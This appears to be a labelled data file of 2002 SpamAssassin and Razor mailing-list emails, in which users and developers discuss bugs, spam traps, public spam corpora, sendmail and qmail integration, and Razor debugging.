BTW I'll be away this weekend at Linuxbierwanderung, so Craig, > you might > have to run the GA. ;) Shouldn't be a problem. Assuming I can get the darned thing to compile :) C",0,0 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Tue, 8 Oct 2002 04:16:52 -0700 (PDT)",[SAdev] [Bug 1075] RPM build puts wrong path in the *.cf files,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1075 spamassassin-contrib@msquadrat.de changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |spamassassin- | |devel@lists.sourceforge.net AssignedTo|spamassassin- |spamassassin- |devel@lists.sourceforge.net |contrib@msquadrat.de ------- Additional Comments From spamassassin-contrib@msquadrat.de 2002-10-08 04:16 ------- I'm gonna fix this one. I think the best solution will be to copy the modified rules to blib and install them from there. Then the rules files will be changed on build time and not install time, too. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. You are on the CC list for the bug, or are watching someone who is. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Steve Thomas"" ","Wed, 28 Aug 2002 11:21:47 +0100",Re: [SAtalk] Setting up a spam eating address,"""Steve Thomas"" said: > I created a user (honeypot) and set up an alias to it. Then I added a > 'hidden' (font color same as background color) link to that address at the > bottom of my html pages. The .procmailrc file for that user is: ..... > which will submit the msg to razor then save it locally. I set this up about > a month ago, and haven't received anything other than some viruses (Sircam) > on it yet. The viruses are rejected at the MTA level, so they're not being > saved/reported to razor. FWIW, I would now recommend doing this (using a user with a procmailrc) instead of a system alias; more secure, and easier to filter out crud like bounces, virii etc. that render a corpus dirty. --j. ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),Bob Sully ,"Wed, 28 Aug 2002 11:29:13 +0100",Re: [SAtalk] False Positive of the Week,"Bob Sully said: > Spamassassin (2.30) has been tossing my daily LogWatch (3.3) reports into > the spam bucket. A recent one generated the folowing hits: .... fixed in CVS I think, or at least my logwatches get through fine. If it is not fixed in CVS, then report it, using the correct bug-reporting procedure: 1. open a Bugzilla bug. http://bugzilla.SpamAssassin.org/ 2. attach a sample mail message *as an attachment* with all headers intact --j. ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Thu, 5 Sep 2002 22:22:08 -0700 (PDT)",[SAdev] [Bug 839] mailbox corruption not fixed with procmail 3.22,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=839 ------- Additional Comments From alan@rdrop.com 2002-09-05 22:22 ------- I haven't tried 2.41 yet because it requires File::Spec, which barfs when spamassassin tries to use it. I haven't filed a bug yet because I suspect it's because I'm still running 5.005 perl because of reported compatibility issues with 5.6 and later, but I probably will because I think there's too much legacy perl code to put up with major compatibility problems, and spamassassin didn't, at least in the quickest of looks, say it needed a newer one. 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Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 """postmaster@jpci.net"" ","""spamassassin-talk-admin@example.sourceforge.net"" ","Tue, 8 Oct 2002 16:30:44 +0100",Failed mail: Banned or potentially offensive material,"This is a MIME-encapsulated message --==_15304473447567@buffy.jpci.net==_ Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Content-Disposition: inline Your message was not delivered to daz@jpci.net This mail message contains banned or potentially offensive text. --==_15304473447567@buffy.jpci.net==_ Content-Type: message/delivery-status Content-Transfer-Encoding: 7bit Content-Disposition: inline Reporting-MTA: dns;buffy.jpci.net Final-Recipient: rfc822;daz@jpci.net Action: failure --==_15304473447567@buffy.jpci.net==_ Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ywHF-0003wQ-00; Tue, 08 Oct 2002 08:28:05 -0700 Received: from dsl092-072-213.bos1.dsl.speakeasy.net ([66.92.72.213] helo=blazing.arsecandle.org) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17ywGP-000544-00 for ; Tue, 08 Oct 2002 08:27:14 -0700 Received: (qmail 31751 invoked from network); 8 Oct 2002 15:26:25 -0000 Received: from localhost (HELO RAGING) (rod@127.0.0.1) by localhost with SMTP; 8 Oct 2002 15:26:25 -0000 Message-ID: <042a01c26edf$16332c50$b554a8c0@RAGING> From: ""rODbegbie"" To: ""Odhiambo Washington"" , ""spamassassin"" References: <20021008130510.GA23757@ns2.wananchi.com> Subject: Re: [SAtalk] spamd error messages Organization: Arsecandle Industries, Inc. X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . MIME-Version: 1.0 Content-Type: multipart/signed; micalg=SHA1; protocol=""application/x-pkcs7-signature""; boundary=""----=_NextPart_000_0426_01C26EBD.8DF911E0"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Sender: spamassassin-talk-admin@example.sourceforge.net Errors-To: spamassassin-talk-admin@example.sourceforge.net X-BeenThere: spamassassin-talk@example.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: Talk about SpamAssassin List-Unsubscribe: , List-Archive: X-Original-Date: Tue, 8 Oct 2002 11:26:32 -0400 Date: Tue, 8 Oct 2002 11:26:32 -0400 This is a multi-part message in MIME format. ------=_NextPart_000_0426_01C26EBD.8DF911E0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Odhiambo Washington wrote: > After being bitten by bugs in 2.41, I've downgraded to 2.31 but now spamd > spews errors like I've never seen before: Delete the contents of /usr/local/share/spamassassin and reinstall. There are some files that were new to v2.4x, so they won't be overwritten when you downgrade. rOD. -- ""Fast! Fast! Faster! Bring the beef, you bastard,"" cries Paula Abdul, ""and don't forget the pasta!"" Doing the blogging thang again at http://www.groovymother.com/ << ------=_NextPart_000_0426_01C26EBD.8DF911E0 Content-Type: application/x-pkcs7-signature; name=""smime.p7s"" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=""smime.p7s"" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJIjCCAnow ggHjoAMCAQICARcwDQYJKoZIhvcNAQEFBQAwUzELMAkGA1UEBhMCVVMxHDAaBgNVBAoTE0VxdWlm YXggU2VjdXJlIEluYy4xJjAkBgNVBAMTHUVxdWlmYXggU2VjdXJlIGVCdXNpbmVzcyBDQS0xMB4X DTAyMDQxODE1MjkzN1oXDTIwMDQxMzE1MjkzN1owTjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdl b1RydXN0IEluYy4xJzAlBgNVBAMTHkdlb1RydXN0IFRydWUgQ3JlZGVudGlhbHMgQ0EgMjCBnzAN BgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAspcspZISpYX/aJqWoYcSyyGqFby3OvsepRzLRU0ENDJR wJo7DwFpirRFOUQkTkKXsY6BQzX/CeCRrn9i4ny5gcXuI2JSyrSmDwobbwl52n5cPEbHGcebybWd KfAf8vvkxYUnTmDZPtt2ob5RNpJTeTiq9MpNCB/5G7Ocr1hEljcCAwEAAaNjMGEwDgYDVR0PAQH/ BAQDAgHGMB0GA1UdDgQWBBQig0tNIAIMMfR8WrAaTRXIeF0RSTAPBgNVHRMBAf8EBTADAQH/MB8G A1UdIwQYMBaAFEp4MlIR21kWNl7fwRQ2QGpHfEyhMA0GCSqGSIb3DQEBBQUAA4GBACmw3z+sLsLS fAfdECQJPfiZFzJzSPQKLwY7vHnNWH2lAKYECbtAFHBpdyhSPkrj3KghXeIJnKyMFjsK6xd1k1Yu wMXrauUH+HIDuZUg4okBwQbhBTqjjEdo/cCHILQsaLeU2kM+n5KKrpb0uvrHrocGffRMrWhz9zYB lxoq0/EEMIICgjCCAeugAwIBAgIBBDANBgkqhkiG9w0BAQQFADBTMQswCQYDVQQGEwJVUzEcMBoG A1UEChMTRXF1aWZheCBTZWN1cmUgSW5jLjEmMCQGA1UEAxMdRXF1aWZheCBTZWN1cmUgZUJ1c2lu ZXNzIENBLTEwHhcNOTkwNjIxMDQwMDAwWhcNMjAwNjIxMDQwMDAwWjBTMQswCQYDVQQGEwJVUzEc MBoGA1UEChMTRXF1aWZheCBTZWN1cmUgSW5jLjEmMCQGA1UEAxMdRXF1aWZheCBTZWN1cmUgZUJ1 c2luZXNzIENBLTEwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAM4vGbwXt3fek6lfWg0XTzQa DJj0ItlZ1MRoRvC0NcWFAyDGr0WlIVFFQesWWDYyb+JQYmT5/VGcqiTZ9J2DKocKIdMSODRsjQBu WqDZQu4aIZX5UkxVWsUPOE9G+m34LjXWHXzr4vCwdYDIqROsvojvOm6rXyo4YgKwEnv+j6YDAgMB ------=_NextPart_000_0426_01C26EBD.8DF911E0-- --==_15304473447567@buffy.jpci.net==_--",0,1 Matt Sergeant ,=?ISO-8859-1?Q?David_H=F6hn?= ,"Thu, 22 Aug 2002 15:32:48 +0100",Re: [SAdev] Interesting approach to Spam handling..,"David Hhn wrote: > Hello, have you seen and discussed this article and his approach? > > Thank you > > http://www.paulgraham.com/spam.html Yes. See the perl module Mail::SpamTest::Bayesian on CPAN, and the thread on sa-talk. Matt. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 yyyy@spamassassin.taint.org (Justin Mason),Craig Hughes ,"Wed, 09 Oct 2002 18:23:20 +0100",Re: [SAtalk] Re: fully-public corpus of mail available,"Craig Hughes said: > > - All headers are reproduced in full. Some address obfuscation has > > taken place; hostnames in some cases have been replaced with > > ""spamassassin.taint.org"", which should have a valid MX record (if I recall > > correctly). In > most cases though, the headers appear as they were > > received. > > Nope: > > [craig@balam craig]$ dig spamassassin.taint.org mx I knew there was something about spamassassin.taint.org ;) Ah well, that's probably just as good anyway... --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Quinlan ,yyyy@spamassassin.taint.org (Justin Mason),09 Oct 2002 21:47:02 -0700,Re: [SAdev] fully-public corpus of mail available,"> (Please feel free to forward this message to other possibly-interested > parties.) Some caveats (in decending order of concern): 1. These messages could end up being falsely (or incorrectly) reported to Razor, DCC, Pyzor, etc. Certain RBLs too. I don't think the results for these distributed tests can be trusted in any way, shape, or form when running over a public corpus. 2. These messages could also be submitted (more than once) to projects like SpamAssassin that rely on filtering results submission for GA tuning and development. 3. Spammers could adopt elements of the good messages to throw off filters. And, of course, there's always progression in technology (by both spammers and non-spammers). The second problem could be alleviated somewhat by adding a Nilsimsa signature (or similar) to the mass-check file (the results format used by SpamAssassin) and giving the message files unique names (MD5 or SHA-1 of each file). The third problem doesn't really worry me. These problems (and perhaps others I have not identified) are unique to spam filtering. Compression corpuses and other performance-related corpuses have their own set of problems, of course. In other words, I don't think there's any replacement for having multiple independent corpuses. Finding better ways to distribute testing and collate results seems like a more viable long-term solution (and I'm glad we're working on exactly that for SpamAssassin). If you're going to seriously work on filter development, building a corpus of 10000-50000 messages (half spam/half non-spam) is not really that much work. If you don't get enough spam, creating multi-technique spamtraps (web, usenet, replying to spam) is pretty easy. And who doesn't get thousands of non-spam every week? ;-) Dan",0,0 yyyy@spamassassin.taint.org (Justin Mason),Daniel Quinlan ,"Thu, 10 Oct 2002 13:14:23 +0100",Re: [SAdev] fully-public corpus of mail available,"(trimmed cc list) Daniel Quinlan said: > 1. These messages could end up being falsely (or incorrectly) reported > to Razor, DCC, Pyzor, etc. Certain RBLs too. I don't think the > results for these distributed tests can be trusted in any way, > shape, or form when running over a public corpus. I'll note that in the README. > 2. These messages could also be submitted (more than once) to projects > like SpamAssassin that rely on filtering results submission for GA > tuning and development. > The second problem could be alleviated somewhat by adding a Nilsimsa > signature (or similar) to the mass-check file (the results format used > by SpamAssassin) and giving the message files unique names (MD5 or > SHA-1 of each file). OK; maybe rewriting the message-ids will help here, that should allow us to pick them out. I'll do that. > 3. Spammers could adopt elements of the good messages to throw off > filters. And, of course, there's always progression in technology > (by both spammers and non-spammers). > The third problem doesn't really worry me. nah, me neither. > These problems (and perhaps others I have not identified) are unique > to spam filtering. Compression corpuses and other performance-related > corpuses have their own set of problems, of course. > > In other words, I don't think there's any replacement for having > multiple independent corpuses. Finding better ways to distribute > testing and collate results seems like a more viable long-term solution > (and I'm glad we're working on exactly that for SpamAssassin). If > you're going to seriously work on filter development, building a corpus > of 10000-50000 messages (half spam/half non-spam) is not really that > much work. If you don't get enough spam, creating multi-technique > spamtraps (web, usenet, replying to spam) is pretty easy. And who > doesn't get thousands of non-spam every week? ;-) Yep. The primary reason I released this, was to provide a good, big corpus for academic testing of filter systems; it allows results to be compared between filters using a known corpus. For SpamAssassin development, everyone has to maintain their own corpus. --j.",0,0 """Sven Willenberger"" ",,"Fri, 23 Aug 2002 16:17:55 -0400",RE: [Razor-users] Razor with sendmail,"----- Original Message ----- From: To: Sent: Friday, August 23, 2002 3:05 PM Subject: Razor-users digest, Vol 1 #346 - 8 msgs > Subject: RE: [Razor-users] Razor with sendmail > Date: Fri, 23 Aug 2002 15:03:05 -0400 > From: ""Rose, Bobby"" > To: ""Julian Bond"" , > > > If you didn't add it when compile would be one way. Another would be to > grep your sendmail.cf for the word Milter. > > > > ""Bort, Paul"" wrote: > >If your sendmail has been compiled with Milter support, you can add=20 > >SMRazor easily. We've been using it for a while without problems.=20 > >Others on the list have mentioned it as well. > > > >http://www.sapros.com/smrazor/ > > Is there an easy way to tell if Milter is compiled in? > To see all the options compiled into (and version of) sendmail, try the following line: echo \$Z | /path/to/sendmail -bt -d0 Sven ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 mb/vipul@dcs.qmul.ac.uk,"""Bort, Paul"" ","Sat, 24 Aug 2002 09:48:57 +0100 (BST)",RE: [Razor-users] Razor with sendmail,"On Aug 23 Bort, Paul wrote: >If your sendmail has been compiled with Milter support, you can add SMRazor >easily. We've been using it for a while without problems. Others on the list >have mentioned it as well. > >http://www.sapros.com/smrazor/ Does this fork+exec a perl interpreter for every incoming mail? If so, I reckon your mailer is vulerable to a DoS attack without too much effort... The real question is: is there a way to run razor without this overhead? Even some sort of razord you could talk to over a unix socket would do. Until I can find one, I cannot spare the resources to run razor at all :( ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Toorop ,razor-users@example.sourceforge.net,"Sat, 24 Aug 2002 14:41:20 +0200",[Razor-users] Where can i find a positif mail(spam) for test,"Bonjour, I'm writting a Python script, in order to use Razor with Qmail. The script is finish, but i want to test the result with positive mail (spam). Somebody knows, whrere can i find one. PS : Escuse my pooooooor English ;-)) -- Toorop Lorsque que vous avez limin l'impossible, ce qui reste, mme si c'est improbable, doit tre la vrit. www.spoonsdesign.com ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Toorop ,razor-users@example.sourceforge.net,"Sat, 24 Aug 2002 16:17:36 +0200",[Razor-users] Exit.status =13 ?,"Bonjour, Always for my script, if i run it manually in console all is ok whether is the user. But if i try to implement it in my general script filter running whith qmailq UID (503) : I've got 13 has exit status, and in my mail log : ""Can't call method ""log"" on unblessed reference at /usr/lib/perl5/site_perl/5.6.0/Razor2/Client/Agent.pm line 211."" My log file is in /home/user/.razor/razor-agent.log and have write permission for qmailq user. Any idea ?? -- Toorop Lorsque que vous avez limin l'impossible, ce qui reste, mme si c'est improbable, doit tre la vrit. www.spoonsdesign.com --------------------------------- Mail scann par Protecmail filter ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Joe Berry ,razor-users@example.sourceforge.net,"Sat, 24 Aug 2002 23:44:09 -0400",[Razor-users] Reducing impact from tons of email,"I'm not sure if this is really a razor problem/issue or a sendmail problem. Here's the scenario... My mail server is a 150mhz PC funning FreeBSD 4.4. Ordinarily, the machine is quite idle; it supports my wife's web site with Apache server running on it and a few other services (jabber, etc). Between the various members of our family, we get a fair amount of email coming in (mailing lists, etc). On occasion, our DSL-based ISP dies for a number of hours. When we get a reconnection to the Internet, I get a huge flow of emails coming in which are then filtered via razor. As a result, I will sometimes see over 20+ sendmail processes running at the same time after such an occasion. The machine is then REALLY slow. I noticed that my /etc/procmailrc file had had no arguments associated with the call to razor-check. There was something in the log, though, to make me suspicious that it was possibly not seeing all my razor files. So I have just added ""-home /etc/razor"" as an argument. I haven't had any down time since then so I cannot comment on whether this change has sped up my razor processing a noticable amount. (This paragraph may be an aside to my real problem, the first paragraph above; but I thought I should be complete in my description.) At any rate, has anyone else suffered from a backlog of email processing creating lots and lots of sendmail processes? Is there, perhaps, a way to limit the number of sendmail processes? Any ideas would be welcome. Thanks, Joe --- Joe Berry joe@topshot.com AIM ""joe topshot"" Yahoo Msgr ""joetopshot"" jabber ""joetopshot@topshot.com"" Baltimore, MD ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Adam Goryachev"" ","""Joe Berry"" ,","Sun, 25 Aug 2002 15:39:13 +1000",RE: [Razor-users] Reducing impact from tons of email,"See your /etc/sendmail.cf file, there are a number of methods for limiting the number of concurrent sendmail processes, either by load average (I'm sure), or concurrency (I think)... I use sendmail anymore (I use qmail) but I'm sure that if you look in the config file, you will see what you need... Regards, Adam > -----Original Message----- > From: razor-users-admin@example.sourceforge.net > [mailto:razor-users-admin@lists.sourceforge.net]On Behalf Of Joe Berry > Sent: Sunday, 25 August 2002 1:44 PM > To: razor-users@example.sourceforge.net > Subject: [Razor-users] Reducing impact from tons of email > > > I'm not sure if this is really a razor problem/issue or a sendmail > problem. Here's the scenario... My mail server is a 150mhz PC funning > FreeBSD 4.4. Ordinarily, the machine is quite idle; it supports my > wife's web site with Apache server running on it and a few other > services (jabber, etc). Between the various members of our family, we > get a fair amount of email coming in (mailing lists, etc). On > occasion, our DSL-based ISP dies for a number of hours. When we get a > reconnection to the Internet, I get a huge flow of emails coming in > which are then filtered via razor. As a result, I will sometimes see > over 20+ sendmail processes running at the same time after such an > occasion. The machine is then REALLY slow. > > I noticed that my /etc/procmailrc file had had no arguments associated > with the call to razor-check. There was something in the log, though, > to make me suspicious that it was possibly not seeing all my razor > files. So I have just added ""-home /etc/razor"" as an argument. I > haven't had any down time since then so I cannot comment on whether > this change has sped up my razor processing a noticable amount. (This > paragraph may be an aside to my real problem, the first paragraph > above; but I thought I should be complete in my description.) > > At any rate, has anyone else suffered from a backlog of email > processing creating lots and lots of sendmail processes? Is there, > perhaps, a way to limit the number of sendmail processes? > > Any ideas would be welcome. > > Thanks, > Joe > --- > Joe Berry > joe@topshot.com > AIM ""joe topshot"" > Yahoo Msgr ""joetopshot"" > jabber ""joetopshot@topshot.com"" > Baltimore, MD > > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 mb/vipul@dcs.qmul.ac.uk,Joe Berry ,"Mon, 26 Aug 2002 21:04:35 +0100 (BST)",Re[2]: [Razor-users] Reducing impact from tons of email,"On Aug 25 Joe Berry wrote: >Very good advice given above. Yes :) >One more problem solved. No. One more problem in some software worked around by using tricks in another piece of software. The solution is the aggregator. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Fox"" ",,"Mon, 26 Aug 2002 16:14:04 -0400",[Razor-users] Preproc erasing message,"The following razor debugging sequence show my mail going from 9295 bytes to 0 bytes after the preproc runs, which gives me an exit code that is not 0. I included the message below. Fox Razor-Log: No /etc/razor/razor-agent.conf found, skipping. Razor-Log: No razor-agent.conf found, using defaults. Aug 26 10:28:09.225237 check[3469]: [ 1] [bootup] Logging initiated LogDebugLevel=9 to stdout Aug 26 10:28:09.225890 check[3469]: [ 5] computed razorhome=/etc/razor, conf=, ident=/etc/razor/identity Aug 26 10:28:09.226006 check[3469]: [ 2] Razor-Agents v2.14 starting razor-check -d -home=/etc/razor Aug 26 10:28:09.229704 check[3469]: [ 9] uname -a: Linux qmail.mckee.com 2.4.8-34.1mdk #1 Mon Nov 19 12:40:39 MST 2001 i686 unknown Aug 26 10:28:09.230155 check[3469]: [ 8] reading straight RFC822 mail from Aug 26 10:28:09.231524 check[3469]: [ 6] read 1 mail Aug 26 10:28:09.231923 check[3469]: [ 8] Client supported_engines: 1 2 3 4 Aug 26 10:28:09.233017 check[3469]: [ 8] prep_mail done: mail 1 headers=631, mime0=9295 Aug 26 10:28:09.233434 check[3469]: [ 6] skipping whitelist file (empty?): /etc/razor/razor-whitelist Aug 26 10:28:09.233995 check[3469]: [ 5] read_file: 1 items read from /etc/razor/servers.discovery.lst Aug 26 10:28:09.234369 check[3469]: [ 5] read_file: 1 items read from /etc/razor/servers.nomination.lst Aug 26 10:28:09.234697 check[3469]: [ 5] read_file: 3 items read from /etc/razor/servers.catalogue.lst Aug 26 10:28:09.235184 check[3469]: [ 9] Assigning defaults to honor.cloudmark.com Aug 26 10:28:09.235415 check[3469]: [ 9] Assigning defaults to truth.cloudmark.com Aug 26 10:28:09.235624 check[3469]: [ 9] Assigning defaults to fire.cloudmark.com Aug 26 10:28:09.235830 check[3469]: [ 9] Assigning defaults to apt.cloudmark.com Aug 26 10:28:09.236715 check[3469]: [ 5] read_file: 11 items read from /etc/razor/server.truth.cloudmark.com.conf Aug 26 10:28:09.237368 check[3469]: [ 5] read_file: 11 items read from /etc/razor/server.fire.cloudmark.com.conf Aug 26 10:28:09.237825 check[3469]: [ 5] 149643 seconds before closest server discovery Aug 26 10:28:09.238135 check[3469]: [ 6] truth.cloudmark.com is a Catalogue Server srl 51; computed min_cf=1, Server se: 0B Aug 26 10:28:09.238414 check[3469]: [ 8] Computed supported_engines: 1 2 4 Aug 26 10:28:09.238656 check[3469]: [ 8] Using next closest server truth.cloudmark.com:2703, cached info srl 51 Aug 26 10:28:09.238871 check[3469]: [ 8] mail 1 Subject: New Freeware Download Aug 26 10:28:09.290618 check[3469]: [ 6] preproc: mail 1.0 went from 9295 bytes to 0, erasing Aug 26 10:28:09.291100 check[3469]: [ 5] Connecting to truth.cloudmark.com ... Aug 26 10:28:09.505431 check[3469]: [ 8] Connection established Aug 26 10:28:09.505662 check[3469]: [ 4] truth.cloudmark.com >> 29 server greeting: sn=C&srl=51&ep4=7542-10&a=l Aug 26 10:28:09.506086 check[3469]: [ 6] truth.cloudmark.com is a Catalogue Server srl 51; computed min_cf=1, Server se: 0B Aug 26 10:28:09.506342 check[3469]: [ 8] Computed supported_engines: 1 2 4 Aug 26 10:28:09.506604 check[3469]: [ 8] mail 1.0 skipped in check Aug 26 10:28:09.506686 check[3469]: [ 5] No queries, no spam Aug 26 10:28:09.506787 check[3469]: [ 5] disconnecting from server truth.cloudmark.com Aug 26 10:28:09.507071 check[3469]: [ 4] truth.cloudmark.com << 5 Aug 26 10:28:09.507155 check[3469]: [ 6] a=q Aug 26 10:28:09.507959 check[3469]: [ 8] razor-check finished successfully. >>From bounce-html-sales1-21787251@lyris.execsoft.com Mon Aug 26 14:28:10 2002 Return-Path: Delivered-To: log@qmail.mckee.com Received: (qmail 3472 invoked from network); 26 Aug 2002 14:28:10 -0000 Received: from unknown (HELO port-216-3073879-ds200.devices.datareturn.net) (216.46.231.87) by 10.97.5.1 with SMTP; 26 Aug 2002 14:28:05 -0000 X-Mailer: Lyris Web Interface Date: Sat, 24 Aug 2002 09:45:48 -0700 Subject: New Freeware Download - Jammed: eric_koester@ccmail.mckee.com To: From: ""Diskeeper Product Manager, Executive Software"" List-Unsubscribe: Reply-To: executive@executive.com Message-Id: MIME-Version: 1.0 Content-Type: text/html; charset=us-ascii Spam-File: Envelope-Recipient: eric_koester@ccmail.mckee.com New Freeware Download IT'S FREE!       Includes the same advanced defragmentation technology used in Diskeeper 7.0.   Much faster than the previous Diskeeper Lite and all built-in defragmenters.   Now runs on Windows NT/98/2000/XP. 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Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Fox"" ",,"Thu, 29 Aug 2002 13:36:17 -0400",[Razor-users] Collision of hashes?,"The following was personal correspondence between two people. I can't fathom how Razor thinks it is spam: > > We are struggling with the decisions related to wether or not to > go ahead with our plans to purchase an OCR and forms > scanning solution. > > An outside consultant mentioned that he had heard that not to > long ago you folks were considering implementing OCR > technology to reduce data entry costs and improve efficiency. > If you could let us know if you did move foreward with any > plans in that direction it would be of great help to us. May I ask > what initialy prompted you to consider OCR? Did you decide it > could help your compamy? What software did you go with? > Would you recomend we take a look at it? > At present we are still planning to continue our research until > we decide which OCR system best suits our needs, then > implement it quickly. > > If you are just starting to consider this > technology feel free to stay in touch. We will let you know what > we decide on and if it works for us. > > If you cannot advise on this please forward this E-mail to the > proper individual in your company who might be able to help with > this. > Thanks, > Jay ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Arnaud Abelard ,razor-users@example.sourceforge.net,"Tue, 03 Sep 2002 08:39:57 +0200",[Razor-users] razor plugins for mozilla?,"Hello, did any of you hear about a a razor plugin for mozilla? a plugin that would add a ""report as spam"" button somewhere for the user to report a mail as spam on a server? Arnaud -- Arnaud Ablard Administrateur rseaux et systmes Irin / Facult de Sciences Universit de Nantes ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Fox"" ","""Arnaud Abelard"" ,","Tue, 3 Sep 2002 12:42:54 -0400",Re: [Razor-users] razor plugins for mozilla?,"No, please post a link! Fox ----- Original Message ----- From: ""Arnaud Abelard"" To: Sent: Tuesday, September 03, 2002 2:39 AM Subject: [Razor-users] razor plugins for 